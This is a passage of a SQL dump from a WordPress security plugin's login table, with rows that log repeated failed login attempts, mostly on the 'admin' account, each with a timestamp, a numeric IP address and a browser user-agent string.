(101859, 1498147153.839592, 1, 'loginFailValidUsername', 'admin', 1, 2588453269, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101860, 1498147412.678068, 1, 'loginFailValidUsername', 'admin', 1, 1408934455, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101861, 1498147413.673037, 1, 'loginFailValidUsername', 'admin', 1, 1408934455, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101862, 1498147525.611247, 1, 'loginFailValidUsername', 'admin', 1, 3010263913, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101863, 1498147529.105414, 1, 'loginFailValidUsername', 'admin', 1, 3010263913, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101864, 1498149959.365678, 1, 'loginFailValidUsername', 'admin', 1, 2997135959, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101865, 1498149960.340911, 1, 'loginFailValidUsername', 'admin', 1, 2997135959, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101866, 1498151336.809739, 1, 'loginFailValidUsername', 'admin', 1, 16900493, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101867, 1498151338.430166, 1, 'loginFailValidUsername', 'admin', 1, 16900493, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102089, 1498401373.165791, 1, 'loginFailValidUsername', 'admin', 1, 657073663, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102090, 1498401377.080770, 1, 'loginFailValidUsername', 'admin', 1, 657073663, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102091, 1498401525.564155, 1, 'loginFailValidUsername', 'admin', 1, 1329113047, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102092, 1498401526.825140, 1, 'loginFailValidUsername', 'admin', 1, 1329113047, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102093, 1498401789.344461, 1, 'loginFailValidUsername', 'admin', 1, 1744435633, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102094, 1498401790.572608, 1, 'loginFailValidUsername', 'admin', 1, 1744435633, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102095, 1498402631.762053, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102096, 1498404391.222234, 1, 'loginFailValidUsername', 'admin', 1, 1422259166, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102097, 1498404392.199868, 1, 'loginFailValidUsername', 'admin', 1, 1422259166, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102098, 1498406400.294121, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(102099, 1498406400.622209, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102100, 1498406400.930388, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102101, 1498406401.253950, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102102, 1498406401.569914, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102103, 1498406401.883783, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102104, 1498406402.193443, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102105, 1498406402.500756, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102106, 1498406402.810403, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102107, 1498406403.129799, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102108, 1498406403.440621, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102109, 1498406403.748383, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102110, 1498406404.058886, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102111, 1498406404.368091, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102112, 1498406404.680730, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102113, 1498406404.997048, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102114, 1498406405.306683, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102115, 1498406405.614241, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102116, 1498406405.921263, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102117, 1498406687.928450, 1, 'loginFailValidUsername', 'admin', 1, 1460179053, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102118, 1498406688.934697, 1, 'loginFailValidUsername', 'admin', 1, 1460179053, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102119, 1498407283.448380, 1, 'loginFailValidUsername', 'admin', 1, 95219703, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102120, 1498407284.765373, 1, 'loginFailValidUsername', 'admin', 1, 95219703, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102121, 1498408310.175878, 1, 'loginFailValidUsername', 'admin', 1, 1332972736, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102122, 1498409675.261536, 1, 'loginFailValidUsername', 'admin', 1, 1176434257, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102123, 1498409676.425670, 1, 'loginFailValidUsername', 'admin', 1, 1176434257, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102124, 1498411046.562574, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102125, 1498411402.341250, 1, 'loginFailValidUsername', 'admin', 1, 87064144, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102126, 1498411403.638121, 1, 'loginFailValidUsername', 'admin', 1, 87064144, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102127, 1498411593.284562, 1, 'loginFailValidUsername', 'admin', 1, 3075663157, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102128, 1498411594.500297, 1, 'loginFailValidUsername', 'admin', 1, 3075663157, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102129, 1498412516.780270, 1, 'loginFailValidUsername', 'admin', 1, 1504019374, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102130, 1498413084.279455, 1, 'loginFailValidUsername', 'admin', 1, 3127517827, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102131, 1498414106.661850, 1, 'loginFailValidUsername', 'admin', 1, 3000802076, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102132, 1498414108.109414, 1, 'loginFailValidUsername', 'admin', 1, 3000802076, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102133, 1498415662.838049, 1, 'loginFailValidUsername', 'admin', 1, 1458347419, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102134, 1498415663.832427, 1, 'loginFailValidUsername', 'admin', 1, 1458347419, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102135, 1498415976.289800, 1, 'loginFailValidUsername', 'admin', 1, 1127030815, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102136, 1498417603.333859, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102137, 1498417769.175561, 1, 'loginFailValidUsername', 'admin', 1, 1393206065, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102138, 1498417770.239064, 1, 'loginFailValidUsername', 'admin', 1, 1393206065, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102139, 1498417878.946215, 1, 'loginFailValidUsername', 'admin', 1, 1276182236, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102140, 1498417880.094962, 1, 'loginFailValidUsername', 'admin', 1, 1276182236, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102141, 1498419903.296132, 1, 'loginFailValidUsername', 'admin', 1, 759219118, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102142, 1498420669.470220, 1, 'loginFailValidUsername', 'admin', 1, 3212005169, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102143, 1498420670.899700, 1, 'loginFailValidUsername', 'admin', 1, 3212005169, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102144, 1498423493.511204, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102145, 1498424503.254493, 1, 'loginFailValidUsername', 'admin', 1, 622414627, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102146, 1498424504.246884, 1, 'loginFailValidUsername', 'admin', 1, 622414627, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102147, 1498429152.086723, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102148, 1498429980.050358, 1, 'loginFailValidUsername', 'admin', 1, 1484276859, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102149, 1498433961.436861, 1, 'loginFailValidUsername', 'admin', 1, 1348626918, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102150, 1498434923.980242, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102151, 1498436983.551828, 1, 'loginFailValidUsername', 'admin', 1, 2042128290, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102152, 1498440301.394093, 1, 'loginFailValidUsername', 'admin', 1, 2038480649, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102153, 1498440303.092167, 1, 'loginFailValidUsername', 'admin', 1, 2038480649, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102154, 1498446382.148072, 1, 'loginFailValidUsername', 'admin', 1, 2818125773, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102155, 1498446384.251963, 1, 'loginFailValidUsername', 'admin', 1, 2818125773, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102156, 1498453858.194492, 1, 'loginFailValidUsername', 'admin', 1, 2637301790, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102157, 1498453859.495400, 1, 'loginFailValidUsername', 'admin', 1, 2637301790, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102158, 1498454826.000827, 1, 'loginFailValidUsername', 'admin', 1, 2197852166, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102159, 1498454827.390536, 1, 'loginFailValidUsername', 'admin', 1, 2197852166, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102160, 1498455441.164093, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102161, 1498462773.037877, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102162, 1498464276.058464, 1, 'loginFailValidUsername', 'admin', 1, 2994790691, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102163, 1498464277.238497, 1, 'loginFailValidUsername', 'admin', 1, 2994790691, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102164, 1498465903.211928, 1, 'loginFailValidUsername', 'admin', 1, 717868642, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102165, 1498465904.516020, 1, 'loginFailValidUsername', 'admin', 1, 717868642, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102166, 1498466958.626881, 1, 'loginFailValidUsername', 'admin', 1, 792045249, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102167, 1498468132.948212, 1, 'loginFailValidUsername', 'admin', 1, 1976968246, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102168, 1498468135.261592, 1, 'loginFailValidUsername', 'admin', 1, 1976968246, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102169, 1498468693.932738, 1, 'loginFailValidUsername', 'admin', 1, 1308079525, 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224'),
(102170, 1498469977.759742, 1, 'loginFailValidUsername', 'admin', 1, 1609389519, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102171, 1498469979.676956, 1, 'loginFailValidUsername', 'admin', 1, 1609389519, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102172, 1498470698.113354, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102173, 1498471538.878021, 1, 'loginFailValidUsername', 'admin', 1, 3373558060, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102174, 1498471540.174466, 1, 'loginFailValidUsername', 'admin', 1, 3373558060, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102175, 1498473132.118204, 1, 'loginFailValidUsername', 'admin', 1, 1327704679, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102176, 1498477987.191233, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102177, 1498478043.841939, 1, 'loginFailValidUsername', 'admin', 1, 3236228209, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102178, 1498478045.262751, 1, 'loginFailValidUsername', 'admin', 1, 3236228209, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102179, 1498478642.120964, 1, 'loginFailValidUsername', 'admin', 1, 627626064, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102180, 1498478643.277050, 1, 'loginFailValidUsername', 'admin', 1, 627626064, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102181, 1498481058.106913, 1, 'loginFailValidUsername', 'admin', 1, 1315218080, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102182, 1498481059.308700, 1, 'loginFailValidUsername', 'admin', 1, 1315218080, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102183, 1498481622.266762, 1, 'loginFailValidUsername', 'admin', 1, 3194233571, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102184, 1498481626.381727, 1, 'loginFailValidUsername', 'admin', 1, 3194233571, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102185, 1498481654.274335, 1, 'loginFailValidUsername', 'admin', 1, 1733134504, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102186, 1498481655.534595, 1, 'loginFailValidUsername', 'admin', 1, 1733134504, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102187, 1498483774.527152, 1, 'loginFailValidUsername', 'admin', 1, 1768401889, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102188, 1498483775.625353, 1, 'loginFailValidUsername', 'admin', 1, 1768401889, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102189, 1498485910.306382, 1, 'loginFailValidUsername', 'admin', 1, 1348615251, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102190, 1498485911.479771, 1, 'loginFailValidUsername', 'admin', 1, 1348615251, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102191, 1498486556.968755, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102192, 1498487358.008650, 1, 'loginFailValidUsername', 'admin', 1, 2058414788, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102193, 1498487359.380609, 1, 'loginFailValidUsername', 'admin', 1, 2058414788, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102194, 1498487653.425575, 1, 'loginFailValidUsername', 'admin', 1, 1781745196, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102195, 1498487654.717545, 1, 'loginFailValidUsername', 'admin', 1, 1781745196, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102196, 1498489606.466936, 1, 'loginFailValidUsername', 'admin', 1, 2631890677, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102306, 1498581055.079874, 1, 'loginFailInvalidUsername', 'notre', 0, 788319643, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
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(102326, 1498597669.629783, 1, 'loginFailValidUsername', 'admin', 1, 3000074456, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102327, 1498597670.620607, 1, 'loginFailValidUsername', 'admin', 1, 3000074456, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102328, 1498598411.424593, 1, 'loginFailValidUsername', 'admin', 1, 1908305645, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102330, 1498599853.116129, 1, 'loginFailValidUsername', 'admin', 1, 3188315001, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102331, 1498605265.737724, 1, 'loginFailValidUsername', 'admin', 1, 3206891535, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102333, 1498609906.093302, 1, 'loginFailValidUsername', 'admin', 1, 755475457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102334, 1498610198.756113, 1, 'loginFailValidUsername', 'admin', 1, 3293189371, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102335, 1498610929.904968, 1, 'loginFailValidUsername', 'admin', 1, 3216151749, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102336, 1498613404.743297, 1, 'loginFailValidUsername', 'admin', 1, 3010235177, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102337, 1498613410.370514, 1, 'loginFailValidUsername', 'admin', 1, 3010235177, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102338, 1498614947.485583, 1, 'loginFailValidUsername', 'admin', 1, 1118517223, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102339, 1498614948.779139, 1, 'loginFailValidUsername', 'admin', 1, 1118517223, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102340, 1498616898.825313, 1, 'loginFailValidUsername', 'admin', 1, 1539836950, 'Mozilla/5.0 (Windows NT 5.1; WOW64; x64) AppleWebKit/532.82.35 (KHTML, like Gecko) Chrome/57.4.9471.4743 Safari/534.53 OPR/44.5.0193.6456'),
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(102352, 1498630311.585040, 1, 'loginFailValidUsername', 'admin', 1, 1887825675, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102368, 1498645986.747734, 1, 'loginFailValidUsername', 'admin', 1, 1768625648, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102380, 1498665422.166740, 1, 'loginFailValidUsername', 'admin', 1, 1485079094, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102381, 1498665465.459857, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1539836950, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/535.10.67 (KHTML, like Gecko) Chrome/53.6.0992.5620 Safari/534.50'),
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(102383, 1498667448.245292, 1, 'loginFailValidUsername', 'admin', 1, 2762002450, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102384, 1498670628.795583, 1, 'loginFailValidUsername', 'admin', 1, 532327828, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102385, 1498670630.694565, 1, 'loginFailValidUsername', 'admin', 1, 532327828, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102386, 1498671023.056899, 1, 'loginFailValidUsername', 'admin', 1, 1133404225, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102387, 1498673416.461168, 1, 'loginFailValidUsername', 'admin', 1, 3036568532, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102388, 1498673418.904772, 1, 'loginFailValidUsername', 'admin', 1, 3036568532, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102389, 1498676803.391858, 1, 'loginFailValidUsername', 'admin', 1, 2057456199, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102390, 1498676804.817681, 1, 'loginFailValidUsername', 'admin', 1, 2057456199, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102391, 1498679690.034125, 1, 'loginFailValidUsername', 'admin', 1, 2972444966, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102392, 1498679691.356498, 1, 'loginFailValidUsername', 'admin', 1, 2972444966, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102393, 1498681340.372706, 1, 'loginFailValidUsername', 'admin', 1, 2970133445, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102394, 1498681341.909259, 1, 'loginFailValidUsername', 'admin', 1, 2970133445, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102395, 1498682636.938534, 1, 'loginFailValidUsername', 'admin', 1, 690199419, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102396, 1498682645.189610, 1, 'loginFailValidUsername', 'admin', 1, 690199419, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
